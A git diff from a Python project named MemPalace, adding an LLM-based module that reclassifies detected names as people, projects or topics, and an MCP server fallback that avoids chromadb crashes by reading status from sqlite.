raise LLMError(f"Unexpected response shape: {e}") from e
|
||||
if not text:
|
||||
raise LLMError(f"Empty response from Anthropic (model={self.model})")
|
||||
return LLMResponse(text=text, model=self.model, provider=self.name, raw=data)
|
||||
|
||||
|
||||
# ==================== FACTORY ====================
|
||||
|
||||
|
||||
PROVIDERS: dict[str, type[LLMProvider]] = {
|
||||
"ollama": OllamaProvider,
|
||||
"openai-compat": OpenAICompatProvider,
|
||||
"anthropic": AnthropicProvider,
|
||||
}
|
||||
|
||||
|
||||
def get_provider(
|
||||
name: str,
|
||||
model: str,
|
||||
endpoint: Optional[str] = None,
|
||||
api_key: Optional[str] = None,
|
||||
timeout: int = 120,
|
||||
) -> LLMProvider:
|
||||
"""Build a provider by name. Raises LLMError on unknown provider."""
|
||||
cls = PROVIDERS.get(name)
|
||||
if cls is None:
|
||||
raise LLMError(f"Unknown provider '{name}'. Choices: {sorted(PROVIDERS.keys())}")
|
||||
return cls(model=model, endpoint=endpoint, api_key=api_key, timeout=timeout)
|
||||
@@ -0,0 +1,500 @@
|
||||
"""
|
||||
llm_refine.py — Optional LLM refinement of regex-detected entities.
|
||||
|
||||
Takes the candidate set produced by phase-1 detection (manifests, git
|
||||
authors, regex on prose) and asks an LLM to reclassify each candidate as
|
||||
PERSON / PROJECT / TOPIC / COMMON_WORD / AMBIGUOUS.
|
||||
|
||||
Design constraints:
|
||||
- Opt-in. Default init path never imports this module.
|
||||
- Local-first by default (Ollama).
|
||||
- Interactive UX: visible progress, clean cancellation (Ctrl-C returns
|
||||
whatever was classified before the interrupt).
|
||||
- Don't feed the raw corpus to the LLM — feed candidates + a few sampled
|
||||
context lines each. Keeps total input to ~50-100K tokens even for huge
|
||||
prose corpora.
|
||||
|
||||
Public:
|
||||
refine_entities(detected, corpus_text, provider, ...) -> dict
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
|
||||
from mempalace.llm_client import LLMError, LLMProvider
|
||||
|
||||
|
||||
BATCH_SIZE = 25 # candidates per LLM call; tuned for 4B local models
|
||||
CONTEXT_LINES_PER_CANDIDATE = 3
|
||||
CONTEXT_WINDOW_CHARS = 240 # max chars per context line to keep tokens bounded
|
||||
|
||||
# Valid labels the LLM is allowed to return. Anything else is treated as
|
||||
# AMBIGUOUS so the user reviews it.
|
||||
VALID_LABELS = {"PERSON", "PROJECT", "TOPIC", "COMMON_WORD", "AMBIGUOUS"}
|
||||
|
||||
|
||||
SYSTEM_PROMPT = """You are helping organize a user's memory palace by classifying capitalized tokens found in their files.
|
||||
|
||||
For each candidate, pick exactly ONE label:
|
||||
- PERSON: a specific real person the user knows (colleague, family, character they write about)
|
||||
- PROJECT: a named product, codebase, or effort the user works on
|
||||
- TOPIC: a recurring theme or subject (not a person, not a project) — cities, technologies, concepts
|
||||
- COMMON_WORD: an English word, verb, or fragment that isn't a named entity at all (e.g. "Created", "Before", "Never")
|
||||
- AMBIGUOUS: context is insufficient to decide between two of the above
|
||||
|
||||
Frameworks, runtimes, APIs, cloud services, vendors, and third-party products
|
||||
(e.g. Angular, OpenAPI, Terraform, Bun, Google) are TOPIC unless the context
|
||||
clearly says this is the user's own named codebase, product, or active effort.
|
||||
|
||||
Use the provided context lines to disambiguate. A capitalized word that only appears in metadata ("Created: 2026-04-24") is COMMON_WORD. A name that appears with pronouns and dialogue is PERSON.
|
||||
|
||||
Respond with JSON only. Schema:
|
||||
{"classifications": [{"name": "<exact candidate name>", "label": "<LABEL>", "reason": "<one short sentence>"}]}
|
||||
|
||||
One entry per candidate, same order as the input."""
|
||||
|
||||
|
||||
@dataclass
|
||||
class RefineResult:
|
||||
merged: dict # updated detected dict
|
||||
reclassified: int # entries whose type changed
|
||||
dropped: int # entries removed from the merged result (COMMON_WORD only)
|
||||
errors: list[str] # per-batch error messages (transport/parse failures)
|
||||
batches_completed: int
|
||||
batches_total: int
|
||||
cancelled: bool
|
||||
|
||||
|
||||
def _collect_contexts(
|
||||
corpus_lines: list[str], name: str, max_lines: int = CONTEXT_LINES_PER_CANDIDATE
|
||||
) -> list[str]:
|
||||
"""Return up to `max_lines` distinct lines from the corpus that mention `name`.
|
||||
|
||||
Case-insensitive token-boundary match. Lines are truncated to
|
||||
CONTEXT_WINDOW_CHARS chars to keep token usage bounded.
|
||||
"""
|
||||
needle = re.compile(rf"(?<!\w){re.escape(name)}(?!\w)", re.IGNORECASE)
|
||||
seen: set[str] = set()
|
||||
out: list[str] = []
|
||||
for line in corpus_lines:
|
||||
if not needle.search(line):
|
||||
continue
|
||||
trimmed = line.strip()[:CONTEXT_WINDOW_CHARS]
|
||||
if not trimmed or trimmed in seen:
|
||||
continue
|
||||
seen.add(trimmed)
|
||||
out.append(trimmed)
|
||||
if len(out) >= max_lines:
|
||||
break
|
||||
return out
|
||||
|
||||
|
||||
def _build_user_prompt(candidates_with_contexts: list[tuple[str, str, list[str]]]) -> str:
|
||||
"""Shape: for each candidate, list its current type guess + sampled contexts."""
|
||||
parts: list[str] = ["CANDIDATES:"]
|
||||
for i, (name, current_type, contexts) in enumerate(candidates_with_contexts, 1):
|
||||
parts.append(f"\n{i}. {name} (currently: {current_type})")
|
||||
if contexts:
|
||||
for c in contexts:
|
||||
parts.append(f" > {c}")
|
||||
else:
|
||||
parts.append(" > (no context available)")
|
||||
return "\n".join(parts)
|
||||
|
||||
|
||||
def _extract_json_candidates(text: str) -> list[str]:
|
||||
"""Return plausible JSON payloads extracted from an LLM response."""
|
||||
text = text.strip()
|
||||
if not text:
|
||||
return []
|
||||
|
||||
candidates: list[str] = [text]
|
||||
|
||||
for match in re.finditer(r"```(?:json)?\s*([\s\S]*?)\s*```", text, re.IGNORECASE):
|
||||
candidate = match.group(1).strip()
|
||||
if candidate and candidate not in candidates:
|
||||
candidates.append(candidate)
|
||||
|
||||
for start, opener in ((i, ch) for i, ch in enumerate(text) if ch in "{["):
|
||||
closer = "}" if opener == "{" else "]"
|
||||
depth = 0
|
||||
in_string = False
|
||||
escaped = False
|
||||
for i in range(start, len(text)):
|
||||
ch = text[i]
|
||||
if in_string:
|
||||
if escaped:
|
||||
escaped = False
|
||||
elif ch == "\\":
|
||||
escaped = True
|
||||
elif ch == '"':
|
||||
in_string = False
|
||||
continue
|
||||
|
||||
if ch == '"':
|
||||
in_string = True
|
||||
elif ch == opener:
|
||||
depth += 1
|
||||
elif ch == closer:
|
||||
depth -= 1
|
||||
if depth == 0:
|
||||
candidate = text[start : i + 1].strip()
|
||||
if candidate and candidate not in candidates:
|
||||
candidates.append(candidate)
|
||||
break
|
||||
|
||||
return candidates
|
||||
|
||||
|
||||
def _parse_response(text: str, expected_names: list[str]) -> dict[str, tuple[str, str]]:
|
||||
"""Parse the LLM's JSON response into {name: (label, reason)}.
|
||||
|
||||
Robust to the model occasionally wrapping JSON in text or returning
|
||||
slight schema variations. Falls back to matching by candidate name.
|
||||
"""
|
||||
data = None
|
||||
for candidate in _extract_json_candidates(text):
|
||||
try:
|
||||
data = json.loads(candidate)
|
||||
break
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
if data is None:
|
||||
return {}
|
||||
|
||||
entries = data.get("classifications") if isinstance(data, dict) else data
|
||||
if not isinstance(entries, list):
|
||||
return {}
|
||||
|
||||
name_to_label: dict[str, tuple[str, str]] = {}
|
||||
expected_set = {n.lower(): n for n in expected_names}
|
||||
for entry in entries:
|
||||
if not isinstance(entry, dict):
|
||||
continue
|
||||
name = entry.get("name") or entry.get("candidate")
|
||||
label = entry.get("label") or entry.get("type") or entry.get("classification")
|
||||
reason = entry.get("reason") or ""
|
||||
if not isinstance(name, str) or not isinstance(label, str):
|
||||
continue
|
||||
# Restore canonical casing from expected_names
|
||||
canonical = expected_set.get(name.lower(), name)
|
||||
lbl = label.strip().upper()
|
||||
if lbl not in VALID_LABELS:
|
||||
lbl = "AMBIGUOUS"
|
||||
name_to_label[canonical] = (lbl, reason.strip()[:120])
|
||||
return name_to_label
|
||||
|
||||
|
||||
def _apply_classifications(
|
||||
detected: dict,
|
||||
decisions: dict[str, tuple[str, str]],
|
||||
allow_project_promotions: bool = True,
|
||||
) -> tuple[dict, int, int]:
|
||||
"""Merge LLM decisions back into the detected dict.
|
||||
|
||||
Returns (new_detected, reclassified_count, dropped_count).
|
||||
|
||||
Topics get their own bucket so the caller can persist them as
|
||||
cross-wing tunnel signal. ``AMBIGUOUS`` still falls back to
|
||||
``uncertain`` for human review.
|
||||
"""
|
||||
label_to_bucket = {
|
||||
"PERSON": "people",
|
||||
"PROJECT": "projects",
|
||||
"TOPIC": "topics",
|
||||
"AMBIGUOUS": "uncertain",
|
||||
}
|
||||
bucket_to_type = {
|
||||
"people": "person",
|
||||
"projects": "project",
|
||||
"topics": "topic",
|
||||
"uncertain": "uncertain",
|
||||
}
|
||||
|
||||
# Index every entity by name for in-place update
|
||||
all_entries: list[tuple[str, dict]] = []
|
||||
for bucket, items in detected.items():
|
||||
for e in items:
|
||||
all_entries.append((bucket, e))
|
||||
|
||||
reclassified = 0
|
||||
dropped = 0
|
||||
new_detected: dict[str, list[dict]] = {
|
||||
"people": [],
|
||||
"projects": [],
|
||||
"topics": [],
|
||||
"uncertain": [],
|
||||
}
|
||||
|
||||
for old_bucket, entry in all_entries:
|
||||
decision = decisions.get(entry["name"])
|
||||
if decision is None:
|
||||
# No LLM opinion — keep as-is
|
||||
new_detected.setdefault(old_bucket, []).append(entry)
|
||||
continue
|
||||
|
||||
label, reason = decision
|
||||
if label == "COMMON_WORD":
|
||||
dropped += 1
|
||||
continue
|
||||
|
||||
target_bucket = label_to_bucket[label]
|
||||
if (
|
||||
label == "PROJECT"
|
||||
and not allow_project_promotions
|
||||
and not _is_authoritative_project(entry)
|
||||
):
|
||||
target_bucket = "uncertain"
|
||||
updated = dict(entry)
|
||||
# Append the LLM's reason as a new signal so the user sees why it moved
|
||||
signals = list(updated.get("signals", []))
|
||||
signals.append(f"LLM: {label.lower()} — {reason}" if reason else f"LLM: {label.lower()}")
|
||||
updated["signals"] = signals
|
||||
if target_bucket != old_bucket:
|
||||
reclassified += 1
|
||||
updated["type"] = bucket_to_type.get(target_bucket, "uncertain")
|
||||
new_detected[target_bucket].append(updated)
|
||||
|
||||
return new_detected, reclassified, dropped
|
||||
|
||||
|
||||
def _build_corpus_origin_preamble(corpus_origin: dict | None) -> str:
|
||||
"""Build a system-prompt preamble carrying corpus-origin context.
|
||||
|
||||
When the corpus has been identified as AI-dialogue with known persona
|
||||
names, this preamble lets the LLM disambiguate ambiguous candidates
|
||||
with knowledge that this is AI-dialogue. It does NOT add a new label
|
||||
or change the classification schema — the post-refine sweep in
|
||||
project_scanner.discover_entities still moves persona names into
|
||||
``agent_personas``. The preamble is purely classification context for
|
||||
the OTHER candidates (ambiguous, common-word) that benefit from
|
||||
knowing the corpus shape.
|
||||
|
||||
Returns ``""`` when no usable origin context is available, so callers
|
||||
can concatenate unconditionally without changing the v3.3.3 prompt
|
||||
shape for opt-out paths.
|
||||
"""
|
||||
if not corpus_origin:
|
||||
return ""
|
||||
result = corpus_origin.get("result") or {}
|
||||
if not result.get("likely_ai_dialogue"):
|
||||
return ""
|
||||
|
||||
lines = ["\n\nCORPUS CONTEXT (corpus-origin detection):"]
|
||||
platform = result.get("primary_platform")
|
||||
if platform:
|
||||
lines.append(f"- This corpus is AI-dialogue from {platform}.")
|
||||
user_name = result.get("user_name")
|
||||
if user_name:
|
||||
lines.append(
|
||||
f"- The corpus author (the human user) is named '{user_name}'. "
|
||||
f"Treat this name as PERSON."
|
||||
)
|
||||
personas = result.get("agent_persona_names") or []
|
||||
if personas:
|
||||
lines.append(
|
||||
"- The user has assigned these persona names to AI agents in "
|
||||
f"this corpus: {', '.join(personas)}."
|
||||
)
|
||||
lines.append(
|
||||
"- Persona names refer to AI agents, not biological people. "
|
||||
"Classify them as PERSON (a downstream step tags them as "
|
||||
"agent personas)."
|
||||
)
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def _is_authoritative_person(entry: dict) -> bool:
|
||||
"""Return True for git-author people that should not be second-guessed."""
|
||||
signals = " ".join(entry.get("signals", [])).lower()
|
||||
return "commit" in signals and "repo" in signals
|
||||
|
||||
|
||||
def _is_authoritative_project(entry: dict) -> bool:
|
||||
"""Return True for manifest/git-backed projects that are already source-backed."""
|
||||
signals = " ".join(entry.get("signals", [])).lower()
|
||||
manifest_markers = ("package.json", "pyproject.toml", "cargo.toml", "go.mod")
|
||||
return any(marker in signals for marker in manifest_markers) or "commit" in signals
|
||||
|
||||
|
||||
def _print_progress(batch_idx: int, total: int, current_name: str) -> None:
|
||||
"""Overwrite-line progress indicator."""
|
||||
width = 40
|
||||
filled = int(width * batch_idx / total) if total else 0
|
||||
bar = "█" * filled + "░" * (width - filled)
|
||||
msg = f"\r LLM refine: [{bar}] batch {batch_idx}/{total} current: {current_name[:30]:<30}"
|
||||
sys.stderr.write(msg)
|
||||
sys.stderr.flush()
|
||||
|
||||
|
||||
def refine_entities(
|
||||
detected: dict,
|
||||
corpus_text: str,
|
||||
provider: LLMProvider,
|
||||
batch_size: int = BATCH_SIZE,
|
||||
show_progress: bool = True,
|
||||
allow_project_promotions: bool = True,
|
||||
corpus_origin: dict | None = None,
|
||||
) -> RefineResult:
|
||||
"""Reclassify detected entities using the LLM provider.
|
||||
|
||||
Only regex-derived candidates are sent for refinement. Git authors and
|
||||
manifest/git-backed projects are already source-backed and don't benefit
|
||||
from LLM second-guessing.
|
||||
|
||||
Ctrl-C during refinement: cancels the remaining batches, returns a
|
||||
RefineResult with ``cancelled=True`` and whatever was classified before
|
||||
the interrupt. The partial result is safe to pass straight to
|
||||
``confirm_entities``.
|
||||
|
||||
Transport or parse failures in individual batches are recorded in
|
||||
``errors`` and do not abort the run.
|
||||
|
||||
``allow_project_promotions=False`` keeps LLM-only project guesses in the
|
||||
uncertain bucket. This is useful when manifest/git signal already supplied
|
||||
canonical projects and regex/LLM hits are likely tools, vendors, or topics.
|
||||
"""
|
||||
candidates: list[tuple[str, str]] = []
|
||||
current_type = {"people": "person", "projects": "project", "uncertain": "uncertain"}
|
||||
for bucket in ("people", "projects", "uncertain"):
|
||||
for e in detected.get(bucket, []):
|
||||
if bucket == "people" and _is_authoritative_person(e):
|
||||
continue
|
||||
if bucket == "projects" and _is_authoritative_project(e):
|
||||
continue
|
||||
candidates.append((e["name"], current_type[bucket]))
|
||||
|
||||
corpus_lines = corpus_text.splitlines() if corpus_text else []
|
||||
|
||||
# Deduplicate candidate names while preserving order
|
||||
seen: set[str] = set()
|
||||
unique: list[tuple[str, str]] = []
|
||||
for name, kind in candidates:
|
||||
if name not in seen:
|
||||
seen.add(name)
|
||||
unique.append((name, kind))
|
||||
|
||||
if not unique:
|
||||
return RefineResult(
|
||||
merged=detected,
|
||||
reclassified=0,
|
||||
dropped=0,
|
||||
errors=[],
|
||||
batches_completed=0,
|
||||
batches_total=0,
|
||||
cancelled=False,
|
||||
)
|
||||
|
||||
# Build batches
|
||||
batches: list[list[tuple[str, str, list[str]]]] = []
|
||||
for i in range(0, len(unique), batch_size):
|
||||
chunk = unique[i : i + batch_size]
|
||||
enriched = [(name, kind, _collect_contexts(corpus_lines, name)) for name, kind in chunk]
|
||||
batches.append(enriched)
|
||||
|
||||
all_decisions: dict[str, tuple[str, str]] = {}
|
||||
errors: list[str] = []
|
||||
completed = 0
|
||||
cancelled = False
|
||||
|
||||
system_prompt = SYSTEM_PROMPT + _build_corpus_origin_preamble(corpus_origin)
|
||||
|
||||
for idx, batch in enumerate(batches, 1):
|
||||
if show_progress and batch:
|
||||
_print_progress(idx - 1, len(batches), batch[0][0])
|
||||
user_prompt = _build_user_prompt(batch)
|
||||
try:
|
||||
resp = provider.classify(system_prompt, user_prompt, json_mode=True)
|
||||
except KeyboardInterrupt:
|
||||
cancelled = True
|
||||
break
|
||||
except LLMError as e:
|
||||
errors.append(f"batch {idx}: {e}")
|
||||
continue
|
||||
names_in_batch = [name for name, _, _ in batch]
|
||||
decisions = _parse_response(resp.text, names_in_batch)
|
||||
if not decisions:
|
||||
errors.append(f"batch {idx}: could not parse response")
|
||||
all_decisions.update(decisions)
|
||||
completed += 1
|
||||
if show_progress:
|
||||
_print_progress(idx, len(batches), batch[-1][0])
|
||||
|
||||
if show_progress:
|
||||
sys.stderr.write("\n")
|
||||
sys.stderr.flush()
|
||||
|
||||
merged, reclassified, dropped = _apply_classifications(
|
||||
detected,
|
||||
all_decisions,
|
||||
allow_project_promotions=allow_project_promotions,
|
||||
)
|
||||
|
||||
return RefineResult(
|
||||
merged=merged,
|
||||
reclassified=reclassified,
|
||||
dropped=dropped,
|
||||
errors=errors,
|
||||
batches_completed=completed,
|
||||
batches_total=len(batches),
|
||||
cancelled=cancelled,
|
||||
)
|
||||
|
||||
|
||||
def collect_corpus_text(
|
||||
project_dir: str,
|
||||
max_files: int = 30,
|
||||
max_bytes_per_file: int = 20_000,
|
||||
) -> str:
|
||||
"""Gather prose text from ``project_dir`` for use as LLM context source.
|
||||
|
||||
Stratified: reads up to ``max_files`` prose files (``.md``, ``.txt``,
|
||||
``.rst``), preferring recently-modified. Each file capped at
|
||||
``max_bytes_per_file`` to bound total input.
|
||||
"""
|
||||
from pathlib import Path
|
||||
|
||||
from mempalace.entity_detector import PROSE_EXTENSIONS, SKIP_DIRS
|
||||
|
||||
root = Path(project_dir).expanduser().resolve()
|
||||
if not root.is_dir():
|
||||
return ""
|
||||
candidates: list[tuple[float, Path]] = []
|
||||
for dirpath, dirs, files in _walk_prose(root, SKIP_DIRS):
|
||||
for fname in files:
|
||||
p = dirpath / fname
|
||||
if p.suffix.lower() not in PROSE_EXTENSIONS:
|
||||
continue
|
||||
try:
|
||||
mtime = p.stat().st_mtime
|
||||
except OSError:
|
||||
continue
|
||||
candidates.append((mtime, p))
|
||||
candidates.sort(reverse=True)
|
||||
selected = [p for _, p in candidates[:max_files]]
|
||||
chunks: list[str] = []
|
||||
for p in selected:
|
||||
try:
|
||||
with open(p, encoding="utf-8", errors="replace") as f:
|
||||
chunks.append(f.read(max_bytes_per_file))
|
||||
except OSError:
|
||||
continue
|
||||
return "\n".join(chunks)
|
||||
|
||||
|
||||
def _walk_prose(root, skip_dirs):
|
||||
"""Walk a directory yielding (Path, dirs, files), pruning skip_dirs.
|
||||
|
||||
Inlined from ``project_scanner._walk`` to avoid a private-name import
|
||||
coupling. Functionality is intentionally narrow: prose collection only.
|
||||
"""
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
for dirpath, dirs, files in os.walk(root):
|
||||
dirs[:] = [d for d in dirs if d not in skip_dirs and not d.startswith(".")]
|
||||
yield Path(dirpath), dirs, files
|
||||
+256
-18
@@ -2,7 +2,7 @@
|
||||
"""
|
||||
MemPalace MCP Server — read/write palace access for Claude Code
|
||||
================================================================
|
||||
Install: claude mcp add mempalace -- python -m mempalace.mcp_server [--palace /path/to/palace]
|
||||
Install: claude mcp add mempalace -- mempalace-mcp [--palace /path/to/palace]
|
||||
|
||||
Tools (read):
|
||||
mempalace_status — total drawers, wing/room breakdown
|
||||
@@ -49,6 +49,7 @@ import hashlib # noqa: E402
|
||||
import time # noqa: E402
|
||||
from datetime import datetime # noqa: E402
|
||||
from pathlib import Path # noqa: E402
|
||||
from typing import Optional # noqa: E402
|
||||
|
||||
from .config import ( # noqa: E402
|
||||
MempalaceConfig,
|
||||
@@ -57,7 +58,15 @@ from .config import ( # noqa: E402
|
||||
sanitize_content,
|
||||
)
|
||||
from .version import __version__ # noqa: E402
|
||||
from .backends.chroma import ChromaBackend, ChromaCollection # noqa: E402
|
||||
from chromadb.errors import NotFoundError as _ChromaNotFoundError # noqa: E402
|
||||
|
||||
from .backends.chroma import ( # noqa: E402
|
||||
ChromaBackend,
|
||||
ChromaCollection,
|
||||
_HNSW_BLOAT_GUARD,
|
||||
_pin_hnsw_threads,
|
||||
hnsw_capacity_status,
|
||||
)
|
||||
from .query_sanitizer import sanitize_query # noqa: E402
|
||||
from .searcher import search_memories # noqa: E402
|
||||
from .palace_graph import ( # noqa: E402
|
||||
@@ -108,6 +117,55 @@ _collection_cache = None
|
||||
_palace_db_inode = 0 # inode of chroma.sqlite3 at cache time
|
||||
_palace_db_mtime = 0.0 # mtime of chroma.sqlite3 at cache time
|
||||
|
||||
# ── Vector-search disabled flag (#1222) ──────────────────────────────────
|
||||
# Set when ``hnsw_capacity_status`` reports a divergence between sqlite
|
||||
# and the HNSW segment large enough that chromadb would segfault on
|
||||
# segment load. While this is set, vector-shaped tools (``search``,
|
||||
# ``check_duplicate``) route to the sqlite-only BM25 fallback in
|
||||
# :func:`mempalace.searcher._bm25_only_via_sqlite`. Cleared after a
|
||||
# successful repair via :func:`tool_reconnect` (which re-runs the probe).
|
||||
_vector_disabled = False
|
||||
_vector_disabled_reason = ""
|
||||
# Optional[dict] (not ``dict | None``) keeps Python 3.9 import-time
|
||||
# parsing happy — PEP 604 unions in annotations only became unconditional
|
||||
# at module-eval time in 3.10.
|
||||
_vector_capacity_status: Optional[dict] = None
|
||||
|
||||
|
||||
def _refresh_vector_disabled_flag() -> None:
|
||||
"""Re-run the HNSW capacity probe and update the module-level flag.
|
||||
|
||||
Called from :func:`_get_client` whenever the client cache is rebuilt
|
||||
(first open or palace replacement). Cheap — pure sqlite + pickle
|
||||
read, no chromadb interaction. Never raises: a probe that crashes
|
||||
would defeat the point.
|
||||
"""
|
||||
global _vector_disabled, _vector_disabled_reason, _vector_capacity_status
|
||||
try:
|
||||
info = hnsw_capacity_status(_config.palace_path, "mempalace_drawers")
|
||||
except Exception:
|
||||
logger.debug("HNSW capacity probe raised", exc_info=True)
|
||||
return
|
||||
_vector_capacity_status = info
|
||||
if info.get("diverged"):
|
||||
if not _vector_disabled:
|
||||
logger.warning(
|
||||
"HNSW capacity divergence detected (%s) — routing search to "
|
||||
"BM25-only sqlite fallback. Run `mempalace repair` to restore "
|
||||
"vector search.",
|
||||
info.get("message", "unknown"),
|
||||
)
|
||||
_vector_disabled = True
|
||||
_vector_disabled_reason = info.get("message", "")
|
||||
else:
|
||||
if _vector_disabled:
|
||||
logger.info(
|
||||
"HNSW capacity within tolerance (%s) — vector search re-enabled",
|
||||
info.get("message", ""),
|
||||
)
|
||||
_vector_disabled = False
|
||||
_vector_disabled_reason = ""
|
||||
|
||||
|
||||
# ==================== WRITE-AHEAD LOG ====================
|
||||
# Every write operation is logged to a JSONL file before execution.
|
||||
@@ -202,6 +260,11 @@ def _get_client():
|
||||
mtime_changed = current_mtime != 0.0 and abs(current_mtime - _palace_db_mtime) > 0.01
|
||||
|
||||
if _client_cache is None or inode_changed or mtime_changed:
|
||||
# Run the HNSW capacity probe BEFORE chromadb opens the segment —
|
||||
# if the index is severely undersized, segment load can segfault
|
||||
# the whole MCP server (#1222). The probe is pure sqlite +
|
||||
# metadata-pickle read; never touches the HNSW binary files.
|
||||
_refresh_vector_disabled_flag()
|
||||
_client_cache = ChromaBackend.make_client(_config.palace_path)
|
||||
_collection_cache = None
|
||||
_metadata_cache = None
|
||||
@@ -217,15 +280,37 @@ def _get_collection(create=False):
|
||||
try:
|
||||
client = _get_client()
|
||||
if create:
|
||||
_collection_cache = ChromaCollection(
|
||||
client.get_or_create_collection(
|
||||
_config.collection_name, metadata={"hnsw:space": "cosine"}
|
||||
# hnsw:num_threads=1 disables ChromaDB's multi-threaded ParallelFor
|
||||
# HNSW insert path, which has a race in repairConnectionsForUpdate /
|
||||
# addPoint (see issues #974, #965). Set via metadata on fresh
|
||||
# collections and re-applied via _pin_hnsw_threads() for legacy
|
||||
# palaces whose collections were created before this fix (the
|
||||
# runtime config does not persist cross-process in chromadb 1.5.x,
|
||||
# so the retrofit runs every time _get_collection opens a cache).
|
||||
#
|
||||
# ChromaDB 1.5.x's Rust binding SIGSEGVs when get_or_create_collection
|
||||
# is called with metadata that differs from what's stored. The split
|
||||
# below skips the metadata-comparison codepath for existing
|
||||
# collections, mirroring the backend-layer fix from #1262.
|
||||
try:
|
||||
raw = client.get_collection(_config.collection_name)
|
||||
except _ChromaNotFoundError:
|
||||
raw = client.create_collection(
|
||||
_config.collection_name,
|
||||
metadata={
|
||||
"hnsw:space": "cosine",
|
||||
"hnsw:num_threads": 1,
|
||||
**_HNSW_BLOAT_GUARD,
|
||||
},
|
||||
)
|
||||
)
|
||||
_pin_hnsw_threads(raw)
|
||||
_collection_cache = ChromaCollection(raw)
|
||||
_metadata_cache = None
|
||||
_metadata_cache_time = 0
|
||||
elif _collection_cache is None:
|
||||
_collection_cache = ChromaCollection(client.get_collection(_config.collection_name))
|
||||
raw = client.get_collection(_config.collection_name)
|
||||
_pin_hnsw_threads(raw)
|
||||
_collection_cache = ChromaCollection(raw)
|
||||
_metadata_cache = None
|
||||
_metadata_cache_time = 0
|
||||
return _collection_cache
|
||||
@@ -285,7 +370,7 @@ def _get_cached_metadata(col, where=None):
|
||||
|
||||
def _sanitize_optional_name(value: str = None, field_name: str = "name") -> str:
|
||||
"""Validate optional wing/room-style filters."""
|
||||
if value is None:
|
||||
if value is None or not value.strip():
|
||||
return None
|
||||
return sanitize_name(value, field_name)
|
||||
|
||||
@@ -293,11 +378,91 @@ def _sanitize_optional_name(value: str = None, field_name: str = "name") -> str:
|
||||
# ==================== READ TOOLS ====================
|
||||
|
||||
|
||||
def _tool_status_via_sqlite() -> dict:
|
||||
"""Pure-sqlite status reader for the #1222 fallback path.
|
||||
|
||||
When the HNSW capacity probe detects divergence, opening the chromadb
|
||||
persistent client can segfault. This reader pulls the same wing/room
|
||||
breakdown directly from ``embedding_metadata`` so the operator still
|
||||
gets a working status response — and crucially the
|
||||
``vector_disabled`` flag — without us touching the vector segment.
|
||||
"""
|
||||
import sqlite3 as _sqlite3
|
||||
|
||||
db_path = os.path.join(_config.palace_path, "chroma.sqlite3")
|
||||
if not os.path.isfile(db_path):
|
||||
return _no_palace()
|
||||
|
||||
wings: dict = {}
|
||||
rooms: dict = {}
|
||||
total = 0
|
||||
try:
|
||||
conn = _sqlite3.connect(f"file:{db_path}?mode=ro", uri=True)
|
||||
try:
|
||||
row = conn.execute(
|
||||
"""
|
||||
SELECT COUNT(*)
|
||||
FROM embeddings e
|
||||
JOIN segments s ON e.segment_id = s.id
|
||||
JOIN collections c ON s.collection = c.id
|
||||
WHERE c.name = 'mempalace_drawers'
|
||||
"""
|
||||
).fetchone()
|
||||
total = int(row[0]) if row and row[0] is not None else 0
|
||||
for key, target in (("wing", wings), ("room", rooms)):
|
||||
for value, count in conn.execute(
|
||||
"""
|
||||
SELECT em.string_value, COUNT(*)
|
||||
FROM embedding_metadata em
|
||||
JOIN embeddings e ON em.id = e.id
|
||||
JOIN segments s ON e.segment_id = s.id
|
||||
JOIN collections c ON s.collection = c.id
|
||||
WHERE c.name = 'mempalace_drawers'
|
||||
AND em.key = ?
|
||||
AND em.string_value IS NOT NULL
|
||||
GROUP BY em.string_value
|
||||
""",
|
||||
(key,),
|
||||
):
|
||||
target[value] = count
|
||||
finally:
|
||||
conn.close()
|
||||
except _sqlite3.Error:
|
||||
logger.exception("tool_status sqlite fallback read failed")
|
||||
|
||||
result = {
|
||||
"total_drawers": total,
|
||||
"wings": wings,
|
||||
"rooms": rooms,
|
||||
"palace_path": _config.palace_path,
|
||||
"protocol": PALACE_PROTOCOL,
|
||||
"aaak_dialect": AAAK_SPEC,
|
||||
"vector_disabled": True,
|
||||
"vector_disabled_reason": _vector_disabled_reason,
|
||||
}
|
||||
if _vector_capacity_status:
|
||||
result["hnsw_capacity"] = {
|
||||
"sqlite_count": _vector_capacity_status.get("sqlite_count"),
|
||||
"hnsw_count": _vector_capacity_status.get("hnsw_count"),
|
||||
"divergence": _vector_capacity_status.get("divergence"),
|
||||
}
|
||||
return result
|
||||
|
||||
|
||||
def tool_status():
|
||||
# Run the safe sqlite/pickle probe before we touch chromadb. In the
|
||||
# #1222 failure mode, opening the persistent client to call .count()
|
||||
# can segfault — short-circuit to a pure-sqlite path when divergence
|
||||
# is detected so status stays reachable.
|
||||
db_exists = os.path.isfile(os.path.join(_config.palace_path, "chroma.sqlite3"))
|
||||
_refresh_vector_disabled_flag()
|
||||
|
||||
if _vector_disabled:
|
||||
return _tool_status_via_sqlite()
|
||||
|
||||
# Use create=True only when a palace DB already exists on disk -- this
|
||||
# bootstraps the ChromaDB collection on a valid-but-empty palace without
|
||||
# accidentally creating a palace in a non-existent directory (#830).
|
||||
db_exists = os.path.isfile(os.path.join(_config.palace_path, "chroma.sqlite3"))
|
||||
col = _get_collection(create=db_exists)
|
||||
if not col:
|
||||
return _no_palace()
|
||||
@@ -446,6 +611,11 @@ def tool_search(
|
||||
dist = (1.0 - min_similarity) if min_similarity is not None else max_distance
|
||||
# Mitigate system prompt contamination (Issue #333)
|
||||
sanitized = sanitize_query(query)
|
||||
# Ensure the vector-disabled probe has been run via the safe
|
||||
# sqlite/pickle path before we touch chromadb. Calling _get_client()
|
||||
# here would defeat the fallback — it constructs a PersistentClient
|
||||
# which can segfault on segment load in the #1222 failure mode.
|
||||
_refresh_vector_disabled_flag()
|
||||
result = search_memories(
|
||||
sanitized["clean_query"],
|
||||
palace_path=_config.palace_path,
|
||||
@@ -453,7 +623,11 @@ def tool_search(
|
||||
room=room,
|
||||
n_results=limit,
|
||||
max_distance=dist,
|
||||
vector_disabled=_vector_disabled,
|
||||
)
|
||||
if _vector_disabled:
|
||||
result["vector_disabled"] = True
|
||||
result["vector_disabled_reason"] = _vector_disabled_reason
|
||||
# Attach sanitizer metadata for transparency
|
||||
if sanitized["was_sanitized"]:
|
||||
result["query_sanitized"] = True
|
||||
@@ -469,6 +643,21 @@ def tool_search(
|
